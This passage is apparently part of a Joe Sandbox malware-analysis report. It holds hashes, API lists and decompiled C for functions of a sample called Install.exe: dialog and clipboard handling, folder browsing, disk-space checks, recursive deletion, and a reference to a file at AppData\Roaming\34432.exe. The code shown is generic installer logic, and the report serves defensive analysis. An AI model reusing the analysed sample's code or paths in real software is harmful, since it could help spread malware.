Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: f0af5b3ae2630faf6cf52e0a27c7d75959b1b33dafccb85cc06ce083e5b7ca2f
Instruction ID: a015d294fcb9cc4e365613bb9e09bf6e78b00889af70ee47f703a6c6056ea9c8
Opcode Fuzzy Hash: f0af5b3ae2630faf6cf52e0a27c7d75959b1b33dafccb85cc06ce083e5b7ca2f
Instruction Fuzzy Hash: 2DF09072904112EBCB21BBA59A84EDE76E8DF01318F25403BE102B21D1D77C4E429A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403B12 Relevance: 1.3, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B12() {
				void* _t1;
				signed int _t6;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
					_t6 =  *0x40a018;
				}
				E00403B57();
				return E00405C49(_t6, 0x443000, 7);
			}

0x00403b12
0x00403b1a
0x00403b1d
0x00403b23
0x00403b23
0x00403b23
0x00403b2a
0x00403b3b

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403A5E,?), ref: 00403B1D

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9cd88207fd683789c603ed0f4e7699fa10f469d988cc37cfea850538d3727966
Instruction ID: 74b342ff74dc5917d60848dc34610585f5de2c5243f802b65b47dd8438b48b4d
Opcode Fuzzy Hash: 9cd88207fd683789c603ed0f4e7699fa10f469d988cc37cfea850538d3727966
Instruction Fuzzy Hash: 5EC0123050470056D1646F749E4FE153B64AB4073EB600325B0F9B10F1CB3C5759895D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004056DE Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004056DE(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x433ee4;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00405672, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E0040657A(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x42d268;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x433ecc == _t156) {
							ShowWindow( *0x434f08, 8);
							if( *0x434f8c == _t156) {
								E0040559F( *((intOrPtr*)( *0x42c240 + 0x34)), _t156);
							}
							E00404472(_t171);
							goto L25;
						}
						 *0x42ba38 = 2;
						E00404472(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00404500(_a8, _a12, _a16);
						}
						ShowWindow( *0x433ed0, _t156);
						ShowWindow(_t169, 8);
						E004044CE(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x434f10;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x433ed0 = GetDlgItem(_a4, 0x403);
				 *0x433ec8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x433ee4 = _t134;
				_v8 = _t134;
				E004044CE( *0x433ed0);
				 *0x433ed4 = E00404E27(4);
				 *0x433eec = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00404499(_a4);
				if(( *0x434f18 & 0x00000003) != 0) {
					ShowWindow( *0x433ed0, _t156);
					if(( *0x434f18 & 0x00000002) != 0) {
						 *0x433ed0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004044CE( *0x433ec8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x434f18 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x004056e6
0x004056ec
0x004056f6
0x004056f9
0x0040588f
0x004058b3
0x004058b3
0x004058c6
0x004058e4
0x004058e6
0x004058ee
0x00405944
0x00405948
0x00000000
0x00000000
0x0040594a
0x00405950
0x00000000
0x00000000
0x0040595a
0x00405962
0x00405965
0x00405a67
0x00000000
0x00405a67
0x00405974
0x0040597f
0x00405988
0x00405993
0x00405996
0x0040599f
0x004059a5
0x004059a8
0x004059a8
0x004059c0
0x004059c9
0x004059cc
0x004059d3
0x004059da
0x004059e2
0x004059e2
0x004059f9
0x004059f9
0x00405a00
0x00405a06
0x00405a12
0x00405a19
0x00405a22
0x00405a24
0x00405a27
0x00405a36
0x00405a39
0x00405a3f
0x00405a40
0x00405a46
0x00405a47
0x00405a48
0x00405a50
0x00405a5b
0x00405a61
0x00405a61
0x00000000
0x004059c0
0x004058f6
0x00405926
0x0040592e
0x00405939
0x00405939
0x0040593f
0x00000000
0x0040593f
0x004058fa
0x00405904
0x00000000
0x004058c8
0x004058ce
0x00405909
0x00000000
0x00405912
0x004058d7
0x004058dc
0x004058df
0x00000000
0x004058df
0x004058c6
0x004056ff
0x00405703
0x0040570b
0x0040570f
0x00405712
0x00405715
0x00405718
0x0040571b
0x0040571c
0x0040571d
0x00405736
0x00405739
0x00405743
0x00405752
0x0040575a
0x00405762
0x00405767
0x0040576a
0x00405776
0x0040577f
0x00405788
0x004057aa
0x004057b0
0x004057c1
0x004057c6
0x004057d4
0x004057e2
0x004057e2
0x004057e7
0x004057f5
0x004057f5
0x004057fa
0x004057fd
0x00405802
0x0040580e
0x00405817
0x00405824
0x00405833
0x00405826
0x0040582b
0x0040582b
0x0040583f
0x0040583f
0x00405853
0x0040585c
0x00405865
0x00405875
0x00405881
0x00405881
0x00000000

APIs

GetDlgItem.USER32 ref: 0040573C
GetDlgItem.USER32 ref: 0040574B
GetClientRect.USER32(?,?), ref: 00405788
GetSystemMetrics.USER32 ref: 0040578F
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B0
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C1
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D4
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E2
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057F5
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405817
ShowWindow.USER32(?,00000008), ref: 0040582B
GetDlgItem.USER32 ref: 0040584C
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040585C
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405875
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405881
GetDlgItem.USER32 ref: 0040575A

Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC

GetDlgItem.USER32 ref: 0040589E
CreateThread.KERNEL32 ref: 004058AC
CloseHandle.KERNEL32(00000000), ref: 004058B3
ShowWindow.USER32(00000000), ref: 004058D7
ShowWindow.USER32(?,00000008), ref: 004058DC
ShowWindow.USER32(00000008), ref: 00405926
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595A
CreatePopupMenu.USER32 ref: 0040596B
AppendMenuW.USER32 ref: 0040597F
GetWindowRect.USER32 ref: 0040599F
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059B8
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F0
OpenClipboard.USER32(00000000), ref: 00405A00
EmptyClipboard.USER32 ref: 00405A06
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A12
GlobalLock.KERNEL32 ref: 00405A1C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A30
GlobalUnlock.KERNEL32(00000000), ref: 00405A50
SetClipboardData.USER32 ref: 00405A5B
CloseClipboard.USER32 ref: 00405A61

Strings

{, xrefs: 00405944

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 943fc32418130b232fc7306fa704d0383798a9d724e6e480ce665c9b6ea9918b
Instruction ID: 6b97441d6f4cfe62a880681573964a63c423f2dd70b2063085686802d9cc5617
Opcode Fuzzy Hash: 943fc32418130b232fc7306fa704d0383798a9d724e6e480ce665c9b6ea9918b
Instruction Fuzzy Hash: C8B169B1900608FFDB119FA0DD85AAE7B79FB44355F00803AFA41BA1A0C7755E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040498A Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040498A(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x42c240;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x436000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405B81(0x3fb, _t146);
					E004067C4(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405B81(0x3fb, _t146);
							if(E00405F14(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040653D(0x42b238, _t146);
							_t87 = E0040690A(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E0040653D(0x42b238, _t146);
								_t89 = E00405EB7(0x42b238);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x42b238,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x42b238) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x42b238,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405E58(0x42b238);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x42b238) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404E27(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x433edc + 0x10)) != _t158) {
									E00404E0F(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x42b228);
									} else {
										E00404D46(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x434fa4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004044BB(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x42d258 == _t158) {
									E004048E3();
								}
								 *0x42d258 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x42d268;
							_v60 = E00404CE0;
							_v56 = _t146;
							_v68 = E0040657A(_t146, 0x42d268, _t167, 0x42ba40, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405E0C(_t146);
								_t125 =  *((intOrPtr*)( *0x434f10 + 0x11c));
								if( *((intOrPtr*)( *0x434f10 + 0x11c)) != 0 && _t146 == 0x440800) {
									E0040657A(_t146, 0x42d268, _t167, 0, _t125);
									if(lstrcmpiW(0x432ea0, 0x42d268) != 0) {
										lstrcatW(_t146, 0x432ea0);
									}
								}
								 *0x42d258 =  *0x42d258 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405E83(_t146) != 0 && E00405EB7(_t146) == 0) {
						E00405E0C(_t146);
					}
					 *0x433ed8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404499(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404499(_t167);
					E004044CE(_t166);
					_t138 = E0040690A(8);
					if(_t138 == 0) {
						L53:
						return E00404500(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x0040498a
0x00404990
0x00404996
0x004049a3
0x004049b1
0x004049b4
0x004049bc
0x004049c2
0x004049c2
0x004049ce
0x004049d1
0x00404a3f
0x00404a46
0x00404b1d
0x00404b24
0x00404b33
0x00404b33
0x00404b37
0x00404b41
0x00404b4e
0x00404b50
0x00404b50
0x00404b5e
0x00404b65
0x00404b6c
0x00404b6f
0x00404bab
0x00404bad
0x00404bb3
0x00404bb8
0x00404bbc
0x00404bbe
0x00404bbe
0x00404bda
0x00000000
0x00404bdc
0x00404bdf
0x00404bed
0x00404bf3
0x00404bf4
0x00404bf7
0x00404bfa
0x00000000
0x00404bfa
0x00404b71
0x00404b73
0x00404b77
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b79
0x00404b79
0x00404b86
0x00404b8b
0x00000000
0x00000000
0x00404b8f
0x00404b91
0x00404b91
0x00404b9a
0x00404b9c
0x00404ba1
0x00404ba4
0x00404ba9
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ba9
0x00404c06
0x00404c10
0x00404c13
0x00404c16
0x00404c1d
0x00404c1d
0x00404c1f
0x00404c1f
0x00404c24
0x00404c26
0x00404c2e
0x00404c35
0x00404c37
0x00404c42
0x00404c42
0x00404c37
0x00404c52
0x00404c5c
0x00404c64
0x00404c7f
0x00404c66
0x00404c6f
0x00404c6f
0x00404c64
0x00404c84
0x00404c89
0x00404c8e
0x00404c97
0x00404c97
0x00404ca0
0x00404ca2
0x00404ca2
0x00404cae
0x00404cb6
0x00404cc0
0x00404cc0
0x00404cc5
0x00000000
0x00404cc5
0x00404b6f
0x00404b26
0x00404b2d
0x00000000
0x00000000
0x00000000
0x00404b2d
0x00404a4c
0x00404a55
0x00404a6f
0x00404a74
0x00404a7e
0x00404a85
0x00404a91
0x00404a94
0x00404a97
0x00404a9e
0x00404aa6
0x00404aa9
0x00404aad
0x00404ab4
0x00404abc
0x00404b16
0x00404abe
0x00404abf
0x00404ac6
0x00404ad0
0x00404ad8
0x00404ae5
0x00404af9
0x00404afd
0x00404afd
0x00404af9
0x00404b02
0x00404b0f
0x00404b0f
0x00404abc
0x00000000
0x00404a74
0x00404a62
0x00000000
0x00000000
0x00404a68
0x00000000
0x004049d3
0x004049e0
0x004049e9
0x004049f6
0x004049f6
0x004049fd
0x00404a03
0x00404a0c
0x00404a0f
0x00404a12
0x00404a1a
0x00404a1d
0x00404a20
0x00404a26
0x00404a2d
0x00404a34
0x00404ccb
0x00404cdd
0x00404a3a
0x00404a3d
0x00000000
0x00404a3d
0x00404a34

APIs

GetDlgItem.USER32 ref: 004049D9
SetWindowTextW.USER32(00000000,?), ref: 00404A03
SHBrowseForFolderW.SHELL32(?), ref: 00404AB4
CoTaskMemFree.OLE32(00000000), ref: 00404ABF
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Roaming\34432.exe,0042D268,00000000,?,?), ref: 00404AF1
lstrcatW.KERNEL32(?,C:\Users\user\AppData\Roaming\34432.exe), ref: 00404AFD
SetDlgItemTextW.USER32 ref: 00404B0F

Part of subcall function 00405B81: GetDlgItemTextW.USER32 ref: 00405B94

Part of subcall function 004067C4: CharNextW.USER32(?,*?|<>/":,00000000,00000000,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
Part of subcall function 004067C4: CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
Part of subcall function 004067C4: CharNextW.USER32(?,00000000,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
Part of subcall function 004067C4: CharPrevW.USER32(?,?,76CDFAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 00404BD2
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BED

Part of subcall function 00404D46: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE7
Part of subcall function 00404D46: wsprintfW.USER32 ref: 00404DF0
Part of subcall function 00404D46: SetDlgItemTextW.USER32 ref: 00404E03

Strings

A, xrefs: 00404AAD
C:\Users\user\AppData\Roaming\34432.exe, xrefs: 00404AEB, 00404AF0, 00404AFB

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\34432.exe
API String ID: 2624150263-3588490
Opcode ID: 1288a594b8de571b7fe9c44f6f376bcff87d9ab289b7fbb3a41ad597db7e4874
Instruction ID: a81e8b8b6ddc8ea4f7a7a45a10ce21cc850824e22f7b82fba9ad49fead82d7d1
Opcode Fuzzy Hash: 1288a594b8de571b7fe9c44f6f376bcff87d9ab289b7fbb3a41ad597db7e4874
Instruction Fuzzy Hash: CBA191B1900208ABDB119FA6DD45AAFB7B8EF84314F10803BF601B62D1D77C9A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405C49 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405C49(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405F14(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68);
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x434f88 =  *0x434f88 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040653D(0x42f270, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405E58(_t68);
					} else {
						lstrcatW(0x42f270, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x42f270,  &_v604);
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040653D(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405C01(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E0040559F(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x434f88 =  *0x434f88 + 1;
										} else {
											E0040559F(0xfffffff1, _t68);
											E004062FD(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405C49(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x42f270 - 0x5c;
					if( *0x42f270 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E00406873(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405E0C(_t68);
							_t38 = E00405C01(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E0040559F(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E0040559F(0xfffffff1, _t68);
							return E004062FD(_t67, _t68, 0);
						}
						L30:
						 *0x434f88 =  *0x434f88 + 1;
						return _t38;
					}
